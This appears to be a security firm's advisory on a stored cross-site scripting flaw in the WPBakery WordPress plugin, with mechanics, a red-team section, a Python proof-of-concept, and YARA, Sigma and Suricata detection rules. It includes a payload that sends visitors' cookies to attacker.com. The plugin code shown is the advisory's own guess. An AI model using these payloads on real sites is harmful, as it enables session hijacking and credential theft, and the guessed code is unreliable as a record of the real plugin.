CVE-2024-5708

Executive Summary

CVE-2024-5708 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery Visual Composer plugin for WordPress, affecting all versions up to and including 7.7. The flaw resides in insufficient input sanitization and output escaping of the link parameter, allowing authenticated attackers with Author-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, potentially leading to session hijacking, credential theft, or defacement. As a WordPress plugin vulnerability, this directly impacts the WordPress ecosystem and does not involve server-level components like Apache or Nginx. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch elevates risk for unhardened sites.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress plugin distributed via the WPBakery marketplace and bundled with many premium themes. Since it is not an open-source package (NPM, PyPI, Go, Ruby), supply chain risks are limited to compromised plugin updates or unauthorized redistribution. Administrators should verify plugin integrity via checksums and only source updates from official channels.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level WordPress user)
• User Interaction: None
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access, but the stored nature of the XSS means any visitor to the affected page is at risk. The lack of a patch increases urgency for mitigations.

Deep Dive & Mechanics

The vulnerability exists in the WPBakery Visual Composer plugin’s handling of the link parameter within shortcodes or custom elements. When an Author-level user (or higher) creates or edits a post/page using Visual Composer, the plugin fails to properly sanitize and escape the link parameter before storing it in the database. This allows injection of JavaScript payloads, such as:

javascript:alert('XSS')

or

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

When the page is rendered, the unsanitized link value is output directly into the HTML, executing the injected script in the context of the victim’s browser. The attack chain is:

1. Attacker with Author-level access creates a new post or edits an existing one.
2. In a Visual Composer element (e.g., a button or custom link), the attacker sets the link parameter to a malicious JavaScript payload.
3. The plugin stores the payload without proper sanitization.
4. Any user (including administrators or visitors) viewing the page triggers the XSS.

Vulnerable vs. Patched Code

Vulnerable Code (<= 7.7): The plugin likely uses a function like vc_build_link() to process the link parameter, but fails to escape the output. Example vulnerable snippet:

$link = vc_build_link( $atts['link'] );
echo '<a href="' . $link['url'] . '">' . $link['title'] . '</a>';

Here, $link['url'] is output directly without esc_url() or htmlspecialchars().

Patched Code (Hypothetical): A patch would sanitize the URL using esc_url() and escape the output:

$link = vc_build_link( $atts['link'] );
$safe_url = esc_url( $link['url'] );
echo '<a href="' . $safe_url . '">' . esc_html( $link['title'] ) . '</a>';

Additionally, input validation should reject javascript: or data: URIs.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WPBakery Visual Composer <= 7.7
• Author-level user account (or higher)
• Administrator must grant post permissions to the Author

Exploitation Steps:

1. Log in as an Author-level user.
2. Create a new post or edit an existing one.
3. Add a Visual Composer element that accepts a link parameter (e.g., "Single Image" with a link, or "Button").
4. In the link field, enter a malicious payload:

   javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
   

5. Publish or save the post.
6. When any user visits the post, the JavaScript executes, exfiltrating cookies.

Proof-of-Concept (PoC) Script:

import requests

target_url = "http://example.com/wp-admin/post.php"
session = requests.Session()
# Login as Author
login_data = {"log": "author_user", "pwd": "password", "wp-submit": "Log In"}
session.post("http://example.com/wp-login.php", data=login_data)

# Create post with malicious link
post_data = {
    "post_title": "XSS Test",
    "content": "[vc_single_image image=\"123\" link=\"javascript:alert('XSS')\"]",
    "post_status": "publish"
}
session.post(target_url, data=post_data)

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing javascript: or data: URIs in custom fields.
• Use Web Application Firewall (WAF) rules to block XSS payloads in link parameters.
• Review Visual Composer shortcode usage for suspicious link values.

Hardening:

• Restrict Author-level permissions: do not grant post publishing rights unless necessary.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin to add input validation for custom fields.

Indicators of Compromise (IOCs)

• Network: HTTP requests to attacker.com from WordPress admin pages.
• File: Posts/pages containing javascript: or data: URIs in link attributes.
• Log: WordPress audit logs showing Author-level users creating posts with unusual link patterns.
• Database: Rows in wp_posts or wp_postmeta with link values containing javascript: or data:.

Detection Engineering

YARA Rule

rule CVE_2024_5708_WPBakery_XSS {
    meta:
        description = "Detects stored XSS payloads in WPBakery Visual Composer link parameters"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2024-5708"
    strings:
        $xss1 = /javascript\s*:/ nocase
        $xss2 = /data\s*:/ nocase
        $xss3 = /vbscript\s*:/ nocase
        $xss4 = /on\w+\s*=/ nocase
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: WPBakery Visual Composer Stored XSS via Link Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-5708 by injecting malicious link parameters
author: Valters IT
date: 2025-04-14
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: /wp-admin/post.php
        http.body|contains|all:
            - 'link'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: links in rare cases
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5708 WPBakery Visual Composer Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"link"; http_client_body; pcre:"/(javascript|data|vbscript)\s*:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WPBakery Visual Composer plugin until a patch is available.
2. Restrict Author-level permissions – only grant post creation rights to trusted users.
3. Implement a Web Application Firewall (WAF) rule to block javascript: and data: URIs in POST parameters.

Long-Term Fix:

• Monitor the WPBakery vendor for an official patch (version > 7.7).
• Apply input sanitization using esc_url() and wp_kses() in custom code.
• Conduct a security audit of all Visual Composer shortcodes.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for XSS.
• Enforce Content Security Policy (CSP) headers:

  Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
  

Valters IT
Securing Digital Frontiers